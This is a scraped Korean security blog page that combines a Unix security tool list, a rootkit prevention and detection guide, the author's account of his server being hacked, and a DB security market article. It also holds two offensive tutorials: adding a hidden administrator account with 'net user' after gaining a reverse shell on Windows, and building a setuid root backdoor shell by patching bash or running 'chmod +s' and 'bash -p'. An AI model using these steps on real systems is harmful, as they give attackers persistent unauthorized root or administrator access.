SECURING YOUR UNIX SYSTEMS

  • White Papers

  • Tools
    • John the Ripper
      John the Ripper is a password cracker, currently available for UNIX, DOS, Win32. Its primary purpose is to detect weak UNIX passwords.

    • L0phtCrack
      Password Auditing and Recovery Application

    • exec.c
      exec.c 1.0.4 is a kernel module which logs all the commands executed on the system. Extremely powerful stealth logging made easy! Changes: This release fixes a memory allocation problem. Please update to the current version if you use the module. This module should work on 2.2.* kernels. By Pat Szuta

    • Virtual FTPD
      Virtual FTPD v6.4 is a secure FTP daemon which is derived from the OpenBSD ftp daemon and can allows virtual FTP accounts which do not have an /etc/passwd entry. For more information, here.

    • Snoopy
      Snoopy is designed to log all commands executed by providing a transparent wrapper around calls to execve() via LD_PRELOAD. Logging is done via syslogd and written to authpriv, allowing secure offsite logging of activity. Changes: Integrity checking, a new method of logging, and faster logging.

    • FPF
      FPF is a lkm for Linux which changes the TCP/IP stack in order to emulate other OS's TCP fingerprint. The package contains the lkm and a parser for the nmap file that let you choose directly the os you want. For more information, here.

    • Imsafe
      Imsafe is a host-based intrusion detection tool for Linux which does anomaly detection at the process level and tries to detect various type of attacks. Since Imsafe doesn't know anything about specific attacks, it can detect unknown and unpublished attacks or any other form of malicious use of the monitored application. Created for Linux systems but works on almost every UNIX flavor by watching strace outputs. Screenshots available here. Warning: Still in alpha. For more information, here.

    • IPtrap
      IPtrap listens to several TCP ports to simulate fake services (X11, Netbios, DNS, etc) . When a remote client connects to one of these ports, his IP address gets immediately firewalled and an alert is logged. It runs with iptables and ipchains, but any external script can also be launched. IPv6 is supported. Changes: Logging the scanned port, and no more iptables/ipchains zombies. For more information, here.

    • LOMAC
      LOMAC is a security enhancement for Linux that uses Low Water-Mark Mandatory Access Control to protect the integrity of processes and data from viruses, Trojan horses, malicious remote users, and compromised root daemons. LOMAC is implemented as a loadable kernel module - no kernel recompilations or changes to existing applications are required. Although not all the planned features are currently implemented, it presently provides sufficient protection to thwart script-kiddies, and is stable enough for everyday use. Whitepaper available here. Manual available here. Changes: Added mediation of directory modification operations, improving protection. here.

    • Maxty
      Maxty is a small kernel-space tty sniffer. It is a LKM which will attach to read/write syscalls and save incoming/outgoing requests to opened tty devices into separate log files. It provides a way keeping a track what is happening on virtual consoles similar to a keystroke recorder.
  • Links
저작자 표시 비영리
Posted by 티엘로

루트킷 예방

루트킷 예방은 어떤 다른 형태의 공격에 대한 예방과 같이 기본적인 시스템 보안에서 출발한다. 기본적인 시스템 보안계획은 소프트웨어 벤더에서 제공하는 패치로 애플리케이션을 업데이트하는 것 뿐만 아니라, 방화벽과 VPN등을 포함한다. 기본적인 보안 도구들을 실행함으로써 관리자는 상대적으로 안전한 네트워크를 보증할 수 있다.


보안기초

 
모든 네트워크에 대한 방화벽

방화벽을 사용하여 인터넷으로부터 연결되는 모든 네트워크가 보호된다고 확신하는 것은 방화벽에 대한 오해의 좋은 예이다. 관리자는 방화벽만이 침입자를 단념시키는 유일한 예방도구가 아니라는 점을 명심해야 한다.

 

모든 시스템 상에서 무엇이 실행되고 있는지 정확하게 알고 있어라.

어떤 시스템이 설치된 후에는 무엇이 실행되고 있는지 목록을 작성하라. 불필요한 서비스는 모두 종료시켜라. 비인가 애플리케이션을 실행하지 않도록 하기 위해서 시스템 프로세스에 대한 감사(audit)를 주기적으로 수행하라.

 

사용자에게는 해당 업무를 수행에 필요한 만큼의 접근을 승인하라.

사용자에게 절대로 필요 이상의 네트워크 서비스 접근을 제공하지 말아라. 사용자가 업무를 수행하기에 필요한 서비스에 대해서만 허가를 승인하라.

 

VPN과 Secure Shell과 같은 보안 통신을 가능하게 하라

VPN을 설치함으로써 관리자는 WAN상에서 전송되는 모든 데이터가 암호화된다는 것을 확신할 수 있을 것이다. Secure Shell(SSH)은 텔넷(telnet) 프로토콜을 대체한다. SSH는 사용자명과 암호를 포함한, 세션간 전송되는 모든 데이터를 암호화한다.

 

모든 벤더가 업데이트하는 것에 대하여 최신의 상태를 유지하라

운영체제 및 애플리케이션에 대한 보안 및 버그 패치는 주기적으로 이루어진다. 보안 이슈를 해결한 최신의 벤더 배포 버전으로 시스템을 최신 상태로 유지하라. 많은 공격자들은 매일 사용되는 애플리케이션에서 공개된 취약성을 악용하여 관리자 레벨 접근 권한을 획득한다.

 

호스트 및 네트워크 기반의 침입탐지 시스템을 설치하라

여러분의 네트워크에서 어떤 일이 일어나는지 아는 것은 매우 중요하다. 침입자가 접근권한을 획득하려고 할 때, 여러분의 IDS(Intrusion Detection System-침입탐지시스템) 애플리케이션으로 하여금 여러분에게 알려주도록 설정하라.

 

모든 로그 파일을 모니터링 하라

대부분의 시스템 활동이 로그(log)로 남기 때문에 로그 파일을 모니터링 한다면, 관리자가 매우 유리한 위치를 점유하게 된다. Logwatch나 LogSentry같은 로그 검사 프로그램을 사용하여 이런 일을 자동화하는 것은 매우 좋은 생각이다. 물론 로그 파일을 하는 것으로 관리자가 루트킷의 공격을 바로 알 수는 없다. 로그인 시도에 대하여 성공하거나 실패한 것과 같은 비정상적인 시스템 활동을 알 수 있는 것이다.

 

기본적인 보안 사전경고를 실시하는 것은 시스템에 대한 침입을 막고 어떤 종류의 공격도 예방하는 첫번째 단계이다. 관리자는 파일 보안을 확립함으로써 루트킷의 공격을 막아낼 수 있다.

 

파일속성(Attributes) 보안

파일 보안을 구현하기 위해서는 관리자가 따라야 할 몇 가지 단계가 있다. 공통 파일은 덮어쓰거나 변경될 수 없다고 보증하는 것이 한 가지 방법이다. 이것은 중요한 시스템 파일들에 대해서 immutable Flag를 셋팅함으로써 이루어진다.

 

Immutable Flag의 사용

immutable이라는 용어는 "변경할 수 없는"이란 뜻이다. immutable flag를 어떤 파일에 셋팅함으로써 그 파일은 수정하거나, 이름을 바꾸거나, 지울 수 없고, 심지어 링크도 걸 수 없다.

 

파일에 immutable flag를 셋팅하기 위해서는 대부분의 리눅스 배포판에서 찾을 수 있는 "chattr"이라는 명령어를 사용하면 된다.

 

·chattr +i <file>: immutable flag를 셋팅한다.

·chattr -i <file>: immutable flag를 해제한다.

·lsattr <file>: 파일에 적용된 속성들을 화면에 출력한다.

 

일부 공통 파일에 immutable flag를 셋팅하는 것은 그 파일이 변경될수 없다고 표시하는 것이기 때문에 대부분 루트킷의 작동을 불가능하게 만든다. 이런 방법으로도 LKM(loadable kernel modules) 루트킷을 막을 수는 없다. 이것은 커널이 "불변"으로 설정될 수 없는 것과 같다. 보고서 초반에 제시한 파일 목록은 어떤 파일에 immutable flag를 셋팅할 지 결정할 때, 좋은 출발점이 될 것이다.

 

immutable flag는 루트(root)에 의해서만 셋팅되거나 해제될 수 있다. 이 flag는 쉽게 셋팅할 수 있는 것처럼 쉽게 해제할 수도 있음을 기억하라. 공격자가 시스템에 접근했다는 것은 그 flag가 셋팅된 것을 발견하고 해제시켰을 수도 있음을 의미한다. 공격자는 immutable flag를 해제한 이후에 루트킷을 설치할 수 있다. 그러므로 루트킷에 대한 유일한 방어수단으로서 immutable flag만을 의지하지는 말아라.

 

다음의 보안 기초 가이드라인을 준수하라. 보안도구를 설치한 이후에 관리자는 그 시스템들에 대하여 실제로 탐지하고 모니터링 하는 것을 시작해야만 한다. 

루트킷 탐지 및 모니터링

관리자는 어떻게 숨어있는 프로그램을 모니터링 할 수 있는가?

기본적으로 관리자가 시스템의 활동을 모니터링할 수 있도록 도와주기 위해 개발된 애플리케이션이 있다. 그런 애플리케이션을 사용하면 관리자가 루트킷을 모니터링 할 수도 있다.

 

Tripwire와 AIDE

Tripwire와 AIDE는 모두 파일의 무결성을 모니터링하기 위해 사용되는 유틸리티이다. 두 프로그램 모두 현재의 파일 및 디렉토리의 변화를 비교하기 위하여 파일 및 디렉토리 속성을 DB에 저장하고, DB에 대한 보안 암호를 생성한다. 파일 무결성 검사를 위해서 MD5를 이용한다. MD5는 임의의 길이의 문자열 데이터를 더 짧은 고정길이의 값으로 변형시키는 해쉬(Hash)함수이다. 어떤 두 문자열 데이터도 같은 MD5값을 가질 수 없다고 믿어진다.

 

리눅스 레드햇(Linux Redhat) 7.1 시스템에서 netstat와 ls에 대한 md5sum결과 값은 다음과 같다.

 

        dc1961b6ce3ff6d6fe2c89c8603f4985        ls
        30286974e55bb9f9e82f93cc44c39492       netstat

 

만약 모니터링되고있는 파일이 어떤 방식으로든 수정된다면, Tripwire와 AIDE는 관리자에게 변경사실을 알려줄 것이다.

 

두 애플리케이션 모두 보안 분야에서 광범위하게 사용되고 있다. 나는 이에 대해 더 자세히 살펴보고, 여러분의 기업 전체에서 사용하기를 권고한다. Tripwire는 사업적 또는 GNU licensing으로 모두 사용가능하다. AIDE는 GNU licensing으로 사용가능하다.

 

http://www.tripwire.com       commercial license
http://www.tripwire.org        gnu license
http://www.cs.tut.fi/~rammer/aide.html

 

레드햇 패키지 관리자(Redhat Package Manager)

Tripwire와 AIDE등과 상당히 유사하게, 레드햇 패키지 관리자(rpm)은 설치된 애플리케이션의 첵섬(checksum)을 검증하는데 사용될 수 있다. rpm은 첵섬을 검증할 뿐만 아니라, 파일의 접근권한 및 크기(size)와 같은 다른 종류의 불일치 사항도 검증할 수 있다. rpm은 옵션(option)으로 "-V"가 붙어서 설치된 임의의 rpm 패키지의 서명(signature)을 검사하는데 사용된다. "-Va"옵션을 사용하면 모든 설치된 패키지를 검사할 수 있다.

 

테스트 시스템에서 "rpm -V util-linux"을 실행시켜 보면 다음과 같은 결과를 얻을 것이다.

.......T c /etc/fdprm
.......T c /etc/pam.d/chfn
.......T c /etc/pam.d/chsh
S.5....T c /etc/pam.d/login

 

아래에서 볼 수 있는 "man"에서 발췌한 것을 이용하면, 여러분은 위의 rpm명령어의 실행결과를 이해할 수 있을 것이다. 결과에 따르면, 모든 파일에서 mTime(T)가 변화하였다는 것을 알 수 있다. mTime은 파일의 수정 날짜와 시간이다. 또한 "login"파일에서는 파일크기(file size:S)와 MD5 첵섬(checksum:5) 역시 변경되었음을 알 수 있다. 이런 정보를 이용하여 관리자는 왜 파일이 변경되었는지 알아볼 수 있다.

 

RPM에 대한  "man"의 출력결과:

 

S   파일 크기(Size)가 변경됨

M  모드(Mode)가 변경됨(접근권한permission 및 파일 타입을 포함)

5   MD5 첵섬이 변경됨

D   주/부(major/minor) 장치(Device) 수가 일치하지 않음

L   읽기 연결(readLink)(2)경로가 일치하지 않음

U   사용자(User) 소유권이 변경됨

G   그룹(Group) 소유권이 변경됨

T   파일수정일시(mTime)이 변경됨

 

Chkrootkit이라 불리는 다른 애플리케이션은 관리자가 루트킷 서명(signature)를 탐지하는 것을 돕는다.

 

Chkrootkit

Chkrootkit은 루트킷에 의한 변형작업에 대하여 시스템 바이너리(binaries)를 검사하기 위한 쉘 스크립트이다. 이 프로그램은 잘 알려진 LKM(loadable kernel modules)루트킷을 탐지할 수도 있다. Chkrootkit은 Nelson Murilo에 의해 만들어져 유지보수 되고 있으며, "www.chkrootkit.org"에서 찾을 수 있다.

 

다음 명령어 파일들을 이용하면, chkrootkit은 시스템 내에 루트킷이 자리잡은 공통파일과 디렉토리 들을 찾을 수 있다.

· awk
· cut
· echo
· egrep
· find
· head
· id
· ls
· netstat
· ps
· strings
· sed
· uname

 

Chkrootkit은 "/proc" 디렉토리에 대한 ps실행결과를 검사하여 숨겨진 프로세스에 대한 검사를 수행할 수도 있다. 많은 루트킷이 숨겨진 프로세스로서 스니퍼(sniffer)와 백도어(backdoor)를 실행시킨다. 전체자원이 가동중인 시스템 상에서, 한 프로세스가 비교작업을 완료하기 전에 시스템이 그 프로세스를 종료시킬 수도 있기 때문에, 이 프로세스가 생성한 긍정적인(positive) 결과에는 오류가 있을 수 있다.

 

Chkrootkit은 또한, 네트워크 인터페이스가 'promiscuous mode'에 있지 않은지 검증한다. Promiscuous 모드는 네트워크 상에서 도착하는 모든 네트워크 패킷에 대해 네트워크 장비가 가로채서 읽을 수 있도록 허용한다. 이모드에서는 분석을 위해 모든 패킷을 스니퍼(sniffer) 프로그램에 제공한다.

 

Chkrootkit을 사용하면 대체(alternate)경로로부터 명령어 파일들을 사용할 수도 있다. 이 옵션을 사용하면, 관리자는 위의 목록에 있는 파일들을 쓰기 방지된 파일시스템 또는 CD, 플로피 디스켓에 저장할 수 있다. 만약 복사 방지가 가능하다면, immutable flag를 지정함으로써 덮어쓰기를 확실히 방지할 수 있다. 이것은 chkrootkit이 감염되지 않은 파일을 사용하고 있다는 것이 확실하다는 뜻이다. 이미 감염된 파일을 사용한다면 이 애플리케이션을 사용하는 목적을 망치고 있는 것이다.

 

앞서 언급한 바와 같이, chkrootkit은 알려진 LKM 루트킷을 모니터링하고 탐지한다. 덧붙여, lsmod, kstat와 같은 명령어를 활용하면 관리자가 이런 종류의 루트킷을 모니터링하는 것에 도움이 될 것이다.

 

LSMOD

Lsmod는 커널에 로드된 모듈 목록을 작성하기 위해 사용하는 유틸리티이다. 관리자는 이 명령어의 실행결과에 친숙해져야 한다. 다음은 RedHat 7.2 시스템에서 실행시킨 lsmod명령어의 실행결과이다. 다음 결과는 모듈명과 모듈크기, 사용횟수 그리고 참조하는 모듈 목록 등을 보여준다.

 

3c59x         28424    1
cdrom        31936    0    (autoclean) [sr_mod]
sr_mod      16056    10   (autoclean)
ext3           64768    2
usb-uhci    24324    0    (unused)
usbcore     71072    1    [usb-uhci]
ext3           64768    2
jbd            47892    2    [ext3]
aic7xxx      128256   3
sd_mod     12832     6
scsi_mod   104800   4    [sr_mod aha1542 aic7xxx
sd_mod]

 

커널로 로드되는 모든 모듈을 추적하는 것은 LKM 루트킷을 모니터링하는 매우 좋은 프로세스이다. lsmod가 루트킷 모듈에 의해서 변형되어 루트킷 모듈을 숨기는 데 악용될 수도 있다. 커널로 로드되는 모듈이 어떤 것인지 목록을 만들기 위해 사용되는 또 다른 명령어가 있다. 이것은 'cat'이라고 불린다.

 

Cat는 파일을 연결시키고 화면 또는 기타 출력장치로 출력시키는 명령어이다. '/proc/modules'에 대하여 cat을 실행시키면 lsmod의 실행결과와 동일한 정보를 화면에 보여줄 것이다.

 

블로그 주인의 푸념

루트킷, exploit, 하이재킹, 스푸핑, 스니핑, 커널링, BOF, DDoS 웹 상에서 마치 전쟁이라도 벌어지듯 많은 일들이 일어난다.. 특히 웹서버나, 어떤 회사, 특히 상용 서비스라면 장난이 아니다.
서버나 웹을 공격, exploit code, 스니핑, 심지어는 cgi script, troy 변조 방법 까지 엄청난 자료들이 구글링과 커뮤니티에서 구할 수 있다.

필자인 나는 8월부터 11월까지 총 3번의 홈서버(smb,ftp,APM) 등 간단하게 사용할 목적으로 REDHAT9.0 을 설치해서 사용했지만...

3번이나 털렸다 각각 한번씩 털릴때마다 재설치 했고 어차피 파일 삼바 전용이라 신경도 안썻다 물론 역추적은 해봤지만..., 전부 웹 스크립타, 아파치를 타고 들어왔으며..
1번째 ,,, 는 .. 루마니아 ?!
2번째, 3번째는 엄청난 대륙 차이나..

그런데 이번 11월에 4번째로 털렸다..
루트킷이다...
사용자 계정은 접속 거부가 뜬다 미친...ㅠㅠ 그래서 루트킷을 파해치고 보안에 신경을 쓸것이다..
그래서 '리눅스 보안 - 루트킷' 관련 글들을 수집하고 기재했다 ..

물론 내가 전부 작성 한건 아니다, 원작자와, 스크랩을 가능하게 해주신 분들에게 감사드린다..
루트킷 내가 파해쳐서 반격할거다..
기다려 내서버 아파치만 깔면 터는 인간들아
 
저작자 표시 비영리
Posted by 티엘로

윈도우는 유닉스나 리눅스의 터미널에서 처럼 프롬프트에서 사용자 관리가 가능하다.

이점이 윈도우 리버스 쉘에 성공했을 때에 시스템에 더 큰 피해를 줄 수 있다.

왜냐면 프롬프트에서 임의의 사용자를 추가시키고 그 사용자의 로컬그룹을 administrator로

바꿀 수 있기 때문이다. 보통 리버스 쉘은 쉘의 유저의 비밀번호를 모르는 상태에서 얻어지기 때문에

이러한 방법은 시스템 공격을 우회하기 좋은 방법이 된다.

 

테스트해본 환경은 윈도우XP이고 윈도우 서버에서는 해보지 않았다.

보통 리버스 쉘은 웹 취약점이나 서비스 취약점으로 이루어 지는데 서비스가 administrator권한으로

작동중이었다면 획득한 프롬프트 또한 administrator 권한의 프롬프트 일 것이다.

 

먼저 위 스크린샷 처럼 임의의 호스트를 공격해서 리버스 쉘 획득에 성공했다고 가정한 상태에서

시작해 보자.


여기서 'net user'라는 명령어를 사용하면 위 스크린샷 처럼 현재 시스템에 등록되어 있는

사용자를 보여준다.


'net user /add USER PASSWORD' 명령은 사용자를 시스템에 등록해준다.

예제로 bin00pang의 비밀번호를 사용하는 hacker라는 사용자를 등록하였다.


그리고 'net localgroup administrators hacker /add'를 사용해서 hacker 사용자를

관리자 그룹으로 옮겨준다.

윈도우는 기본정책으로 관리자가 아니면 원격제어를 제한한다. 따라서 사용자를 관리자 그룹으로

만들어 주는 것이다.


비교를 위해서 사용자를 하나 더 추가시키고 관리자 그룹으로 이동시키지 않았다.



먼저 두 번째 만든 사용자인 bin00pang을 사용해서 원격접속을 시도하였다.

위 스크린샷에서 보는것 처럼 정책에 따라서 로그온할 수 없다는 메세지가 뜬다.


그러나 관리자 그룹으로 이동시킨 사용자는 위 스크린샷 처럼 원격 로그인이 된다.

고유의 사용자를 만든 것이므로 사용자를 위한 여러 개인설정을 만든다.


로그인이 끝나고 제어판의 사용자를 확인하면 위와같이 방그 만든 사용자들이 등록되어 있다.

처음 만든 hacker는 컴퓨터 관리자로 등록이 되어 있고 bin00pang은 제한된 계정으로

등록이 되어있다.


-스크랩후 망상-

무엇보다 윈도우 쉘을 따는 게 중요하다... 일단 쉘을 따고나서 위의것들을 따라해보자..

쉘을 따기위해선...리버스 텔넷, RMOF, 음 머가 있지? 누가좀 가르쳐줘!!


출처 :http://blog.naver.com/int_com 


저작자 표시 비영리
Posted by 티엘로


요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.

이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
법에 대해 간단히 적혀있습니다.

해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
이 지시기 바랍니다. :)


** 준비물 **
bash 최신 버전 (bash-2.05b.tar.gz)
슈퍼 유저 권한

bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,  
ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로  
설명하지 않겠습니다.


** root shell 만들기 **
우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
는 위, 아래 라인을 잘 살펴보세요)

if (running_setuid && privileged_mode == 0)
  disable_priv_mode ();

간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.

->
if (running_setuid && privileged_mode == 0);
  /* disable_priv_mode (); */

if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...

다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을  
적는다면...

$ ./configure --enable-static-link --disable-history

뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
일됩니다.

다음에 루트 권한으로 쑤시는 명령들...

# chown root.root bash
# chmod 6755 bash
# ls -l bash
-rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
#

오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...

$ ./bash
# id
# uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
(users)

euid, guid가 root로 된 것을 확인할 수 있습니다.


유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
으면 합니다.

그럼...
  
글쓴이: 성현* [홈페이지] 글쓴날: 2002-09-12 01:40:20 읽은수: 617 <+>  
C에서 setreuid() 함수도 setuid 안먹히나요?  

[jsh83@gelug jsh83]$ bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  
[jsh83@gelug jsh83]$  

버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;  


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        int n;

        setreuid(0, 510); // 510은 jsh83의 권한
        system("/usr/bin/id");

        exit(0);
}


위와 같이 파일 만들어서 루트권한으로 컴파일 한 후  

chmod 4751 파일명 && chgrp jsh83 파일명  

하니깐 잘 되던데요.. 이번엔 안되는지요?  
  
글쓴이: godyang 글쓴날: 2002-09-12 12:59:22 읽은수: 350 <+>  
안녕하세요?  

훨씬 더 간단한 방법이 있었군요. =_=  

제가 고친 부분의 요지는... bash에서 euid도 먹게 하자는 의도었고...  
성현님의 요지는... 아예 real uid도 바꿔버리자는 의도인 것 같습니다.  

성현님의 방법이 더 간단한 듯... :)  

팁 감사합니다.  

그럼...  
  
글쓴이: nobody 글쓴날: 2002-09-12 15:46:53 읽은수: 362 <+>  
sh-2.05# bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  

sh-2.05# cp /bin/bash .  

sh-2.05# chmod +s bash  

sh-2.05# su test  

[test@test test]$ id  
uid=624(test) gid=512(test) groups=512(test)  

[test@test test]$ ./bash -p  

bash-2.05# id  
uid=624(test) gid=512(test) euid=0(root) egid=0(root) groups=512(test) 
저작자 표시 비영리
Posted by 티엘로

 

내부자 기업정보 유출 사고, DB보안으로 해결하라
DB암호화·접근제어로 정보 유출 방지 … 속도 저하·표준 미비·경쟁 심화 등 걸림돌


제 1부 DB보안 주요 솔루션 현황 및 시장 동향
제 2부 DB보안 기술 동향


최근 빈번하게 발생하고 있는 내부자에 의한 기업정보 유출 사고로 기업과 개인이 막대한 피해를 입는 사례가 속출하며 비즈니스 핵심 인프라인 데이터베이스(Database) 보안에 대한 관심이 급속히 증가하고 있다.
DB보안 솔루션은 중요 정보를 데이터베이스에 보관할 시 해당 특정필드에 암호화를 적용하거나 사용자의 접근을 제어해 해킹 및 허가받지 않는 내부자에 의한 불법적인 정보유출을 방지할 수 있게 해준다. 최근 금융권 등에서는 내부자에 의한 고객 명단, 패스워드 등의 유출로 인한 금융사고를 방지하기 위해 DB보안 솔루션 도입을 검토중이라 관련 시장의 전망도 밝은 편이다.

특히 개인정보보호법의 발효를 앞두고 DB보안 솔루션은 기업의 선택 사항이 아닌 기업의 존폐를 결정지을 필수 사항으로 떠오르게 될 전망이다. 하지만 DB보안 솔루션은 일정한 형태의 표준이 없이 다양한 형태의 제품이 난립, 고객들이 어떤 제품을 선택해야하는지 정확한 기준이 모호하다. 또한 속도저하, 기존 시스템과의 호환성 등 아직 해결해야할 문제가 산적해 있다.
DB보안을 위한 제품들은 어떤 것들이 있으며 어떻게 활용하는 것이 좋을지 관련 업체들의 제품과 사업현황을 통해 살펴본다. <편집자>


제 1부 DB보안 주요 제품 현황 및 시장 동향
시장 선점위한 DB보안, 제품 출시 봇물

개인정보보호법 시행으로 도입 열기 ‘후끈’…
올해 약 150억원 시장 형성 기대



허가받지 않은 사용자의 DB 접근을 제한하고 내부자에 의해 DB가 유출됐다 하더라도 DB를 활용하지 못하도록 접근제어, 암호화, 감사를 수행하는 DB보안 솔루션이 최근 개인정보보호법의 발효와 맞물려 주목을 끌고 있다. 특히 최근 빈번하게 발생하고 있는 고객정보유출 사고로 인해 전자상거래 포털사이트, 공공기관 등이 DB보안 솔루션 도입을 속속 추진하고 있다.
이에 따라 데이터 베이스의 속도저하를 우려해 DB의 접근제어, 감사 등을 수행하는 제품과 일부를 암호화하는 소극적인 DB 보안 솔루션부터 DB 자체를 통채로 암호화하는 솔루션, 네트워크와 연동한 하드웨어 일체형, 개인 PC용 DB보안까지 다양한 DB보안 제품들의 출시가 봇물을 이루고 있다. 그러나 기업의 중요 자산인 민감한 DB를 다루고 있기 때문에 DB 보안 솔루션에 대한 고객들의 접근은 조심스러운 편이다. 필요성을 인지하고 있지만 어떤 제품을 선택해야할지, 자사에 맞는 솔루션은 무엇인지 선택하기가 쉽지 않다는 것.
이에 DB보안 솔루션을 어떻게 활용해야 좋을지, 각 제품들은 어떤 특징을 갖고 있으며 내게 맞는 솔루션은 무엇인지, 관련 업체들의 시장 동향을 통해 DB보안 솔루션의 가이드 라인을 제시해본다.
|장윤정 기자·linda@datanet.co.kr|

인터넷 사용의 폭발적인 증가 및 국가 차원의 전자정부 구축, 디지털 콘텐츠 사업 지원 등의 확대에 따라 중요 정보에 대한 DB는 갈수록 쌓여가고 있다. 하지만 이런 DB들이 어떻게 관리되고 있을까?
관련전문가들은 “DB를 전문적으로 관리하는 인원도 부족하고 개인정보 보호 인식 부족 등으로 실상 DB에 대한 체계화된 관리, 보안은 거의 전무하다시피 했다”며 “특히 그간 외부로부터의 침입에는 민감해 해킹, 웜 등을 방지하기 위한 방화벽, IPS 등의 도입에 열을 올렸으나 내부 사용자를 단속함에 있어 거의 신경쓰지 못한 실정”이라고 언급한다.
각종 조사에 따르면, 조직 내에서 발생하는 정보 침해 사고의 70% 이상이 내부자에 의해 발생하는 것으로 분석되고 있다. 한국산업기술진흥원 조사에 따르면 조직 내 산업기술정보 유출자의 90% 이상이 현직/퇴직 사원이 차지하고 있다. 또 경찰청 집계에 따르면 내부자에 의한 정보유출 및 해킹 등의 범죄건수는 지난 2000년 278건에서 2001년 7천595건으로 급증했으며 그 이후에도 2배 이상씩 해마다 급격히 증가하는 추세다.
관련 전문가들은 “네트워크나 IT 시스템 보안에 국한된 것이 아니라 기업 전체의 정보보호를 위한 보안체계가 시급하다”며 “특히 내부 사용자들을 단속할 수 있는 특화된 정보보호 제품이 필요하며 기업 주요 정보, 고객 개인정보 등과 같은 외부 유출이 우려되는 DB를 보안할 수 있는 전용 보안 제품이 시급하다”고 언급하고 있다.

기업중요 자산 1호 DB를 보안하라
그동안 국내 보안시장을 주도해왔던 것은 해킹 및 바이러스 등의 외부침입에 효과적으로 대응할 방화벽, VPN 등의 외부침입 방지장치였다. 하지만 빈번하게 발발하고 있는 금융권 등에서의 횡령, 고객 DB유출 등 내부자 정보유출 사고는 해당 기업을 금전적 손실뿐만 아니라 고객의 불신, 기업이미지 하락 등 돈으로 환산할 수 없는 막대한 피해를 입게 한다.
국내에서도 피해사례는 갈수록 증가하는 추세다. 지난해 2월 은행 전산망 조작으로 거액의 인출 사건이 일어났으며 쇼핑몰 등의 해킹으로 10만명의 개인정보가 유출된 사고도 있었다. 또 지난 3월에는 대형 쇼핑몰의 데이터 유출 사고로 주요 일간지에 사과광고를 게재하는 등 사고가 잇따르고 있다. 특히 기업의 데이터베이스는 조직내에서 필요로 하는 정보를 체계적으로 축적하여 그 조직내의 이용자에게 필요한 정보를 제공하는 정보서비스 기관의 심장부에 해당된다. 따라서 데이터베이스에 대한 해킹이나 내부 사용자에 의한 누출은 기업의 신뢰성에 심각한 손상을 입혀 기업의 이미지 하락을 물론 금전적인 피해까지도 이어진다. 정부에서도 잇따른 정보 유출 사고로 인해 개인정보보호법 발효를 앞당길 조짐이다. 올 하반기로 예정돼 있던 개인정보보호법은 연초 예상보다 빨리 시행될 계획이며 이에 따라 사고 발생시 집단소송, 피해보상 등이 겹쳐진다면 기업에 막대한 손실을 일으킬 위험이 있다.
이미 가까운 일본에서는 개인정보보호법이 실행돼 각종 내부보안 솔루션들이 속속 구축되고 있는 실정이며 미국, 유럽 등에서도 샤베인옥슬리(Sarbanes-Oxley) 법안, 바젤 Ⅱ 등으로 기업, 금융 등에 프라이버시, 비즈니스 정보 등 각종 분야별 정보리스크에 대한 대비를 촉구하고 있다. 업계의 전문가들은 “완벽한 보안이란 불가능하며 결국 정보의 누출은 불가피할지 모른다”며 “따라서 정보가 누출될 수 있는 가능성을 최소화하며 설혹 누출되더라도 피해를 최소화할 수 있도록 시스템적인 보완이 필수다”고 언급하고 있다.
그렇다면 기업의 주요 자산인 데이터베이스를 보호할 수 있는 DB보안 솔루션이란 무엇일까?
DB보안 솔루션은 중요 정보를 데이터베이스에 보관할 시 해당 특정필드에 암호화를 적용하거나 사용자의 접근을 제어해 해킹 및 허가받지 않는 내부자에 의한 불법적인 정보유출을 방지하는 솔루션이다. DB보안은 크게 DB 사용자의 접근을 제어하는 방식과 DB 자체를 암·복호화하는 방식으로 나뉜다.
접근제어 방식의 경우 웨어밸리, 바넷정보기술, 피엠피시큐어 등 업체들이 포진하고 있다. 이들 업체는 DB에 대한 SQL(질의) 작업시 별도 서버에서 가상계정이 부여된 사용자만 접근이 가능하도록 해 비인가자의 DB접근을 원천 차단하며 해당 로그정보 저장·분석 기능이 탑재돼 DB가 유출되더라도 추적이 가능한 솔루션을 공급하고 있다.
또 최근에는 펜타시큐리티, 위즈메카 등이 DB 컬럼 단위로 선택적인 암호화를 통해 암복호화 권한과 암호가 없는 사용자에 의한 정보 유출과 사후 해독을 차단하는 ‘암복호화 방식’의 솔루션을 공급하기 시작했다. 또 소프트포럼, 이니텍, 케이사인, 한국전자인증 등은 DB에 PKI 기반의 암호화 및 전자서명을 적용해 특정 필드를 암호화하는 솔루션을 제공하고 있다. 나아가 파수닷컴 등은 기존 문서보안 솔루션을 응용해 개인 PC에 DB를 저장할 때 암호화하고 이를 로그관리할 수 있는 DB보안 솔루션 등도 내놓고 있어 DB보안은 다각도에서 접근이 이뤄지고 있는 추세다.



사전·사후 감사로 DB 접근을 차단하라
데이터베이스 SI 사업에서 쌓인 노하우를 바탕으로 DB보안에 접근하는 웨어밸리, 바넷정보기술 등은 DB에 대한 이해와 노하우를 기반으로 직접적인 암호화보다 접근제어, 감사 등에 특화된 제품으로 DB보안 시장에 접근하고 있다.
